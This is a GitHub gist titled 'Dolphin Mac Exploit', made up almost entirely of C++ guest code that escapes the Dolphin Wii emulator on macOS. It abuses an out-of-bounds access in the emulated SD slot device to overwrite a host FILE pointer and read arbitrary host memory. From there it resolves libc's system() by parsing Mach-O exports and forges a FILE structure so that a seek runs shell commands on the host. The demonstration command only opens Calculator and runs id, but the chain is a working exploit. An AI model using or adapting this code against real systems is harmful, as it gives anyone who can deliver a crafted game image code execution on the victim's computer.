Last active
September 4, 2019 21:28
-
-
Save hthh/502ae16db55612f64d3966769a154c3e to your computer and use it in GitHub Desktop.
Dolphin Mac Exploit
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdint.h> | |
extern "C" { | |
// entry point | |
void my_main(void); | |
} | |
// types | |
typedef uint8_t u8; | |
typedef uint16_t u16; | |
typedef uint32_t u32; | |
typedef uint64_t u64; | |
#define HW_IPC_PPCMSG 0xCD000000 | |
#define HW_IPC_PPCCTRL 0xCD000004 | |
#define HW_IPC_PPC_IRQFLAG 0xCD000030 | |
#define INT_CAUSE_IPC_BROADWAY 0x40000000 | |
#define IPC_CMD_OPEN 1 | |
#define IPC_CMD_IOCTL 6 | |
#define IPC_CMD_IOCTLV 7 | |
#define IPC_REP_ASYNC 8 | |
#define MODE_RW 3 | |
#define IOCTL_WRITEHCR 0x01 | |
#define IOCTL_READHCR 0x02 | |
#define READ_MULTIPLE_BLOCK 0x12 | |
#define IOCTLV_SENDCMD 0x07 | |
// OS X FILE flags | |
#define OSX_SRD 0x0004 /* OK to read */ | |
#define OSX_SOPT 0x0400 /* do fseek() optimisation */ | |
#define OSX_SOFF 0x1000 /* set iff _offset is in fact correct */ | |
// OS X Mach-O load commands | |
#define LC_SEGMENT_64 0x19 | |
#define LC_DYLD_INFO_ONLY (0x22 | 0x80000000) | |
// we know out (virtual) memory is mapped at 0x2300000000 on OS X | |
#define OSX_MEMORY_BASE 0x2300000000ULL | |
// Utility functions | |
extern "C" { | |
void *memset(void *out, int c, u32 v) { | |
for (u32 i = 0; i < v; i++) | |
((char *)out)[i] = c; | |
return out; | |
} | |
} | |
int strequal(const char *a, const char *b) { | |
for (;;) { | |
if (*a != *b) | |
return 0; | |
if (*a == '\0') | |
return 1; | |
a++; | |
b++; | |
} | |
} | |
struct ipc_message { // see http://wiibrew.org/wiki/IOS | |
u32 cmd; | |
u32 ret; | |
u32 fd; | |
u32 arg[5]; | |
u32 reserved[8]; | |
} __attribute__((aligned(8))); | |
static u32 do_ipc_message_sync(volatile struct ipc_message *msg) { | |
*(volatile u32 *)HW_IPC_PPCMSG = (u32)msg; | |
*(volatile u32 *)HW_IPC_PPCCTRL = 0x7; | |
// wait for the async response (might not be the best approach) | |
while (msg->cmd != IPC_REP_ASYNC) { | |
// This is for the downcount - the JIT emits no code, but time | |
// advances 3 cycles per instruction. | |
for (int i = 0; i < 10; i++) { | |
asm volatile("sync ; sync ; sync ; sync ; sync ; sync ; sync ; sync ; " | |
"sync ; sync ; sync ; sync ; sync ; sync ; sync ; sync ; " | |
"sync ; sync ; sync ; sync ; sync ; sync ; sync ; sync ; " | |
"sync ; sync ; sync ; sync ; sync ; sync ; sync ; sync ; " | |
"sync ; sync ; sync ; sync ; sync ; sync ; sync ; sync ; " | |
"sync ; sync ; sync ; sync ; sync ; sync ; sync ; sync ; " | |
"sync ; sync ; sync ; sync ; sync ; sync ; sync ; sync ; " | |
"sync ; sync ; sync ; sync ; sync ; sync ; sync ; sync ; " | |
"sync ; sync ; sync ; sync ; sync ; sync ; sync ; sync ; " | |
"sync ; sync ; sync ; sync ; sync ; sync ; sync ; sync"); | |
} | |
// Clear IPC interrupt flags | |
*(volatile u32 *)HW_IPC_PPCCTRL = 0x6; | |
} | |
return msg->ret; | |
} | |
static u32 open(const char *path, u32 mode) { | |
volatile struct ipc_message msg = {0}; | |
msg.cmd = IPC_CMD_OPEN; | |
msg.arg[0] = (u32)path; | |
msg.arg[1] = mode; | |
return do_ipc_message_sync(&msg); | |
} | |
static u32 ioctl(u32 fd, u32 cmd, void *inbuf, u32 insize, void *outbuf, | |
u32 outsize) { | |
volatile struct ipc_message msg = {0}; | |
msg.cmd = IPC_CMD_IOCTL; | |
msg.fd = fd; | |
msg.arg[0] = cmd; | |
msg.arg[1] = (u32)inbuf; | |
msg.arg[2] = insize; | |
msg.arg[3] = (u32)outbuf; | |
msg.arg[4] = outsize; | |
return do_ipc_message_sync(&msg); | |
} | |
struct ioctlv_buf { | |
void *ptr; | |
u32 size; | |
}; | |
static u32 ioctlv(u32 fd, u32 param, u32 inputcount, u32 payloadcount, | |
struct ioctlv_buf *bufs) { | |
volatile struct ipc_message msg = {0}; | |
msg.cmd = IPC_CMD_IOCTLV; | |
msg.fd = fd; | |
msg.arg[0] = param; | |
msg.arg[1] = inputcount; | |
msg.arg[2] = payloadcount; | |
msg.arg[3] = (u32)bufs; | |
return do_ipc_message_sync(&msg); | |
} | |
static u16 bswap(u16 x) { return __builtin_bswap16(x); } | |
static u32 bswap(u32 x) { return __builtin_bswap32(x); } | |
static u64 bswap(u64 x) { return __builtin_bswap64(x); } | |
template <typename value_type> struct host_value { | |
host_value() = default; | |
explicit host_value(value_type val) { *this = val; } | |
operator value_type() const { return bswap(raw); } | |
void operator=(value_type v) { raw = bswap(v); } | |
private: | |
value_type raw; | |
}; | |
typedef uint8_t host_u8; | |
typedef host_value<uint16_t> host_u16; | |
typedef host_value<uint32_t> host_u32; | |
typedef host_value<uint64_t> host_u64; | |
typedef host_value<uint64_t> host_ptr; | |
// OS X specific code | |
struct osx_sbuf { | |
host_ptr _base; | |
host_u32 _size; | |
}; | |
struct osx_FILE { | |
host_ptr _p; | |
host_u32 _r; | |
host_u32 _w; | |
host_u16 _flags; | |
host_u16 _file; | |
struct osx_sbuf _bf; | |
host_u32 _lbfsize; | |
host_ptr _cookie; | |
host_ptr _close; | |
host_ptr _read; | |
host_ptr _seek; | |
host_ptr _write; | |
struct osx_sbuf _ub; | |
host_ptr _extra; | |
host_u32 _ur; | |
host_u8 _ubuf[3]; | |
host_u8 _nbuf[1]; | |
struct osx_sbuf _lb; | |
host_u32 _blksize; | |
host_u64 _offset; | |
}; | |
struct osx_pthread_mutex_t { | |
host_u8 opaque[0x40]; | |
}; | |
struct osx_mbstate_t { | |
union { | |
host_u8 _mbstate8[128]; | |
host_u64 _mbstateL; | |
}; | |
}; | |
struct osx_FILEX { | |
host_ptr up; | |
struct osx_pthread_mutex_t fl_mutex; | |
host_u32 bits_orientation_counted; | |
osx_mbstate_t mbstate; | |
}; | |
static u64 address_to_host(const void *p) { | |
return ((u32)p - 0x80000000) + OSX_MEMORY_BASE; | |
} | |
// IPC HLE interface wrappers | |
static void slot0_write(int fd, u32 reg, u32 val) { | |
u32 input[5] = {reg, 0, 0, 0, val}; | |
ioctl(fd, IOCTL_WRITEHCR, &input, sizeof input, 0, 0); | |
} | |
static u32 slot0_read(int fd, u32 reg) { | |
u32 regnum = reg; | |
u32 value = 0; | |
ioctl(fd, IOCTL_READHCR, ®num, sizeof regnum, &value, sizeof value); | |
return value; | |
} | |
static u64 slot0_read_fileptr(int fd) { | |
return slot0_read(fd, 129) + ((u64)slot0_read(fd, 130) << 32); | |
} | |
static void slot0_write_fileptr(int fd, u64 addr) { | |
slot0_write(fd, 129, (u32)addr); | |
slot0_write(fd, 130, (u32)(addr >> 32)); | |
} | |
static u32 slot0_read_multiple_block(int fd, void *out, u32 offset, | |
u32 outsize) { | |
struct ioctlv_buf bufs[3] = {{0}}; | |
bufs[1].ptr = out; | |
bufs[1].size = outsize; | |
u32 result = 0; | |
bufs[2].ptr = &result; | |
bufs[2].size = sizeof result; | |
struct { | |
u32 command; | |
u32 type; | |
u32 resp; | |
u32 arg; | |
u32 blocks; | |
u32 bsize; | |
void *addr; | |
u32 isDMA; | |
u32 pad0; | |
} req; | |
memset(&req, 0, sizeof req); | |
req.command = READ_MULTIPLE_BLOCK; | |
req.arg = offset; | |
req.addr = out; | |
req.bsize = 1; | |
req.blocks = outsize; | |
bufs[0].ptr = &req; | |
bufs[0].size = sizeof req; | |
return ioctlv(fd, IOCTLV_SENDCMD, 2, 1, bufs); | |
} | |
static void slot0_osx_read(int fd, void *out, u64 hostaddr, u32 size) { | |
osx_FILE file; | |
memset(&file, 0, sizeof file); | |
osx_FILEX extra; | |
memset(&extra, 0, sizeof extra); | |
file._extra = address_to_host(&extra); | |
file._flags = OSX_SOPT | OSX_SOFF | OSX_SRD; | |
file._seek = 1; // non-null | |
file._p = hostaddr; | |
file._bf._base = hostaddr; | |
file._offset = size + 1; | |
file._r = size + 1; | |
// replace the FILE* to point to our data | |
u64 saved_fileptr = slot0_read_fileptr(fd); | |
slot0_write_fileptr(fd, address_to_host(&file)); | |
slot0_read_multiple_block(fd, out, 0, size); | |
// restore | |
slot0_write_fileptr(fd, saved_fileptr); | |
} | |
static u32 osx_read_u32(int fd, u64 addr) { | |
u32 r = 0; | |
slot0_osx_read(fd, &r, addr, sizeof r); | |
return bswap(r); | |
} | |
static u64 osx_read_ptr(int fd, u64 addr) { | |
u64 r = 0; | |
slot0_osx_read(fd, &r, addr, sizeof r); | |
return bswap(r); | |
} | |
// functions from dyld | |
static u32 read_uleb(u8 *&p, u8 *end) { | |
u32 result = 0; | |
int bit = 0; | |
do { | |
if (p == end) | |
return 0; | |
u8 slice = *p & 0x7f; | |
if (bit > 31) { | |
return 0; | |
} else { | |
result |= (slice << bit); | |
bit += 7; | |
} | |
} while (*p++ & 0x80); | |
return result; | |
} | |
static u8 *trie_walk(u8 *start, u8 *end, const char *s) { | |
u8 *p = start; | |
while (p != 0) { | |
u32 terminal_size = read_uleb(p, end); | |
if ((*s == '\0') && (terminal_size != 0)) { | |
return p; | |
} | |
u8 *children = p + terminal_size; | |
u8 children_remaining = *children++; | |
p = children; | |
u32 node_offset = 0; | |
for (; children_remaining > 0; --children_remaining) { | |
const char *ss = s; | |
u8 wrong_edge = false; | |
char c = *p; | |
while (c != '\0') { | |
if (!wrong_edge) { | |
if (c != *ss) | |
wrong_edge = true; | |
++ss; | |
} | |
++p; | |
c = *p; | |
} | |
if (wrong_edge) { | |
++p; | |
while ((*p & 0x80) != 0) | |
++p; | |
++p; | |
} else { | |
++p; | |
node_offset = read_uleb(p, end); | |
s = ss; | |
break; | |
} | |
} | |
if (node_offset != 0) | |
p = &start[node_offset]; | |
else | |
p = 0; | |
} | |
return 0; | |
} | |
// mach-o parsing | |
static u64 find_system(int slot0, u64 libc_ptr) { | |
libc_ptr -= libc_ptr & 0xFFFF; | |
while (osx_read_u32(slot0, libc_ptr) != 0xFEEDFACF) { | |
libc_ptr -= 0x1000; | |
} | |
u64 libc_base = libc_ptr; | |
u32 ncmds = osx_read_u32(slot0, libc_base + 0x10); | |
u64 cmd_start = libc_base + 0x20; | |
u64 image_slide = 0; | |
u64 linkedit_slide = 0; | |
u32 exports_off = 0; | |
u32 exports_size = 0; | |
for (u32 cmdi = 0; cmdi < ncmds; cmdi++) { | |
u32 cmd = osx_read_u32(slot0, cmd_start); | |
u32 cmdsize = osx_read_u32(slot0, cmd_start + 4); | |
if (cmd == LC_SEGMENT_64) { | |
char sname[17] = {0}; | |
slot0_osx_read(slot0, sname, cmd_start + 8, 16); | |
u64 vmaddr = osx_read_ptr(slot0, cmd_start + 0x18) + image_slide; | |
if (strequal(sname, "__TEXT")) { | |
image_slide = libc_base - vmaddr; | |
} else if (strequal(sname, "__LINKEDIT")) { | |
linkedit_slide = vmaddr - osx_read_ptr(slot0, cmd_start + 0x28); | |
} | |
} else if (cmd == LC_DYLD_INFO_ONLY) { | |
exports_off = osx_read_u32(slot0, cmd_start + 0x20 + 8); | |
exports_size = osx_read_u32(slot0, cmd_start + 0x24 + 8); | |
break; | |
} | |
cmd_start += cmdsize; | |
} | |
exports_size = exports_size < 0x10000 ? exports_size : 0x10000; | |
u8 exports[0x10000]; | |
slot0_osx_read(slot0, exports, exports_off + linkedit_slide, exports_size); | |
u8 *p = trie_walk(exports, exports + exports_size, "_system"); | |
if (!p) | |
return 0; | |
read_uleb(p, exports + exports_size); | |
return libc_ptr + read_uleb(p, exports + exports_size); | |
} | |
void my_main() { | |
// open the vulnerable device | |
int slot0 = open("/dev/sdio/slot0", MODE_RW); | |
u64 fileptr = slot0_read_fileptr(slot0); | |
osx_FILE leakedfile; | |
memset(&leakedfile, 0, sizeof leakedfile); | |
slot0_osx_read(slot0, &leakedfile, fileptr, sizeof leakedfile); | |
u64 system_ptr = find_system(slot0, leakedfile._read); | |
if (!system_ptr) | |
return; | |
// create a fake file structure which will run | |
// our commands on "fseek" | |
const char *cmdstring = "open -a Calculator ; " | |
"echo 'success! running shell commands as:' ; id"; | |
// out-of-bounds write will replace a file pointer | |
// create some fake file objects | |
osx_FILE file; | |
memset(&file, 0, sizeof file); | |
osx_FILEX extra; | |
memset(&extra, 0, sizeof extra); | |
file._extra = address_to_host(&extra); | |
file._cookie = address_to_host(cmdstring); | |
file._seek = system_ptr; | |
u64 saved_fileptr = slot0_read_fileptr(slot0); | |
slot0_write_fileptr(slot0, address_to_host(&file)); | |
u32 ignored; | |
slot0_read_multiple_block(slot0, &ignored, 0x1234, sizeof ignored); | |
// restore | |
slot0_write_fileptr(slot0, saved_fileptr); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment